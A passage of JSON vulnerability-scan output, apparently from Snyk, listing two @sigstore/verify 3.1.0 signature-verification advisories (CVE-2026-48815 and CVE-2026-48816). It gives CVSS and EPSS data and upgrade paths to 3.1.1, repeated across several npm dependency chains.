Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the 